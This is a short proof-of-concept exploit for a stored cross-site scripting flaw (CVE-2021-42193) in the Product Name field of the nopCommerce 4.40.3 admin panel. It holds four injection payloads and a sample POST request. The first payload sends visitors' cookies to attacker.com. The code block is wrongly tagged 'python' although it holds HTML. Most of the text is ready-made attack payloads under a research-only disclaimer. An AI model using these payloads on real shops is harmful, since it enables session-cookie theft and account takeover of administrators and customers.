nopCommerce 4.40.3 is vulnerable to XSS in the Product Name at /Admin/Product/Edit/[id]. Each time a user views the product in the shop, the XSS payload fires.
The following code is for security research and authorized testing only.
python
<!-- CVE-2021-42193 PoC: Stored XSS in nopCommerce Product Name -->
<!-- Target: /Admin/Product/Edit/[id] -->
<!-- Payload is injected into the Product Name field -->
<!-- Method 1: Simple script tag injection -->
<script>alert('XSS-CVE-2021-42193');document.location='http://attacker.com/steal?cookie='+document.cookie</script>
<!-- Method 2: Image tag with onerror event -->
<img src=x onerror="alert(document.cookie)">
<!-- Method 3: SVG-based payload -->
<svg/onload=alert('XSS')>
<!-- Method 4: Body with onload (for testing) -->
<body onload=alert('XSS')>
<!-- HTTP Request Example (conceptual) -->
<!--
POST /Admin/Product/Edit/1 HTTP/1.1
Host: target-nopcommerce-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: .NOP.AUTH=admin_session_cookie
Name=<script>alert(document.cookie)</script>&Price=100&...
-->
<!-- Trigger: Visit the product page in the storefront -->
<!-- URL: /Product/[product-id] or any page displaying the injected product name -->